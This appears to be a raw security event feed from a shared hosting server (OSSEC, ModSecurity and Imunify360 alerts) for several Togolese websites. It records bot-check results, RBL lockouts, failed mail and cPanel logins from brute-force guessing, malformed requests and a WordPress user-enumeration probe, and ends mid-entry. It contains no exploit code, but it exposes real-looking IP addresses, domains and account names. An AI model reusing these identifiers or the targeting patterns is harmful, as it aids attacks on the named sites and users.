81.53.36.105 - - [17/Jun/2026:17:42:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7247973&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781718132 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [17/Jun/2026:17:42:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235686&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-attaque-terroriste-kpendjal%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781718135 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-attaque-terroriste-kpendjal/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.236
country_id: 3469034
description:
Jun 17 17:43:08 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.236 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.64.85
country_id: 1831722
description:
[2026-06-17 17:42:26 +0000] info [cpaneld] 157.85.64.85 - waotherapy.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user waotherapy.com (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 17:42:30 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.34.32.69
country_id: 6252001
description:
Jun 17 17:42:53 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.34.32.69 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.208
country_id: 1880251
description:
47.128.96.208 - - [17/Jun/2026:17:43:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9607793&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-attaque-terroriste-kpendjal%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781718186 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-attaque-terroriste-kpendjal/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.208


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:42:55 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:57950: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.124
country_id: 1880251
description:
47.128.96.124 - - [17/Jun/2026:17:43:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791893&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdrame-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781718179 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/drame-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.124


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.148.211.133
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1731865780 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.34.32.69
country_id: 6252001
description:
Jun 17 17:44:34 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.34.32.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:44:36 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:49601: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.92.121
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-15-at-17.42.09.webp 1280w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-15-at-17.42.09-300x198.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-15-at-17.42.09-1024x674.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-15-at-17.42.09-768x506.webp 768w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.116.242.211
country_id: 1269750
description:
[2026-06-17 17:45:30 +0000] info [cpaneld] 66.116.242.211 - emt "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user emt (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.65.239.60
country_id: 3469034
description:
Jun 17 17:46:15 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.65.239.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:46:04 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:50708: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.34.32.69
country_id: 6252001
description:
Jun 17 17:46:02 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.34.32.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.65.239.60
country_id: 3469034
description:
Jun 17 17:46:23 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.65.239.60 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:47:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.164
country_id: 1880251
description:
47.128.96.164 - - [17/Jun/2026:17:47:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184346&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Femmanuel-adebayor-et-santrinos-raphael%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781718429 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/emmanuel-adebayor-et-santrinos-raphael/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.164


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:47:09 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.102.25.79
country_id: 1269750
description:
2026-06-17 17:49:30 dovecot_plain authenticator failed for H=(r5piquuonjknqa0sp28m) [122.102.25.79]:48223: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 17:50:58 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:51:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646427&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781718692 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.31.117.6
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/977765 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 115.186.119.223
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210815-WA0003-1.jpg 510w, http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210815-WA0003-1-300x276.jpg 300w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 17:58:05 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:17:57:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711189&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781719048 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.100.51.245
country_id: 2542007
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/cgi-bin HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 41.207.189.253
country_id: 2363686
description:
[2026-06-17 17:58:06 +0000] info [webmaild] 41.207.189.253 - kakue@togointerim.net "POST /cpsess9747306598/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.118.10] != Current IP Address [41.207.189.253]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:57:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804948&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781719056 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.139.138.159
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2019/06/ANC-250x250.jpg 250w, http:/togodailynews.tg/wp-content/uploads/2019/06/ANC-150x150.jpg 150w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:01:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:01:22 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.130.225
country_id: 3469034
description:
Jun 17 18:04:40 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.130.225 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.248.204.113
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/876884498 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:06:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6659736&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781719588 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 18:06:31 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [17/Jun/2026:18:08:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185328&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fimpact-centre-chretien%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781719684 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/impact-centre-chretien/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.55.118
country_id: 690791
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/04/YasApp_24Heur.Info_.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.251.34
country_id: 2017370
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST http:/togodailynews.tg:80/wp-admin/admin-ajax.php HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.216.40.154
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/12/telechargement.jpg 275w, http:/togodailynews.tg/wp-content/uploads/2024/12/telechargement-272x182.jpg 272w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.122.2.55
country_id: 3865483
description:
[2026-06-17 18:10:16 +0000] info [cpaneld] 186.122.2.55 - mafisteeltg "GET /login/?login_only=1&user=mafisteeltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteeltg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.82.125.44
country_id: 1605651
description:
[2026-06-17 18:10:06 +0000] info [cpaneld] 184.82.125.44 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.36.222.167
country_id: 286963
description:
[2026-06-17 18:10:23 +0000] info [cpaneld] 5.36.222.167 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.251.153.211
country_id: 1522867
description:
[2026-06-17 18:10:08 +0000] info [cpaneld] 5.251.153.211 - mafisteeltg "GET /login/?login_only=1&user=mafisteeltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteeltg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.142.144.16
country_id: 1733045
description:
[2026-06-17 18:10:16 +0000] info [cpaneld] 161.142.144.16 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.73.180.253
country_id: 953987
description:
[2026-06-17 18:10:12 +0000] info [cpaneld] 165.73.180.253 - mafistee "GET /login/?login_only=1&user=mafistee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafistee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.189.111.63
country_id: 3895114
description:
[2026-06-17 18:10:20 +0000] info [cpaneld] 186.189.111.63 - mafistee "GET /login/?login_only=1&user=mafistee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafistee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.52.7.221
country_id: 3469034
description:
[2026-06-17 18:10:21 +0000] info [cpaneld] 187.52.7.221 - mafist "GET /login/?login_only=1&user=mafist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafist (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.4.69
country_id: 1269750
description:
Jun 17 18:10:02 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.4.69 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.146.45.40
country_id: 6251999
description:
[2026-06-17 18:10:01 +0000] info [cpaneld] 24.146.45.40 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.179.195.152
country_id: 3437598
description:
[2026-06-17 18:10:27 +0000] info [cpaneld] 45.179.195.152 - mafist "GET /login/?login_only=1&user=mafist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafist (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 101.108.176.86
country_id: 1605651
description:
[2026-06-17 18:10:30 +0000] info [cpaneld] 101.108.176.86 - mafis "GET /login/?login_only=1&user=mafis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.89.30.29
country_id: 3625428
description:
[2026-06-17 18:10:34 +0000] info [cpaneld] 190.89.30.29 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.248.44.159
country_id: 2963597
domain: togodailynews.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/140.0.7339.186 Safari/537.36||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.68.178.5
country_id: 2017370
description:
[2026-06-17 18:10:27 +0000] info [cpaneld] 188.68.178.5 - mafi "GET /login/?login_only=1&user=mafi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafi (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.177
country_id: 1880251
description:
47.128.96.177 - - [17/Jun/2026:18:12:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12740245&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fseries-a-choisir-au-lycee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781719932 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/series-a-choisir-au-lycee/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.177


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 105.188.121.33
country_id: 2542007
description:
105.188.121.33 - - [17/Jun/2026:18:12:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658409&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-les-vacances-utiles-et-citoyennes-luttent-contre-le-desapprentissage-en-milieu-scolaire%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781719956 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-les-vacances-utiles-et-citoyennes-luttent-contre-le-desapprentissage-en-milieu-scolaire/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.8806.1165 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:105.188.121.33


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:18:12:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6644837&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781719974 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.177
country_id: 1880251
description:
47.128.96.177 - - [17/Jun/2026:18:12:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077127&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fseries-a-choisir-au-lycee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781719952 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/series-a-choisir-au-lycee/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.177


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:13:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515866&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781719977 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 41.207.181.243
country_id: 2363686
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.18||T:APACHE||MV:/index.php/wp-json/wp/v2/users/2?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 18:13:38 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.13.193.101
country_id: 1210997
domain: togodailynews.tg
description:
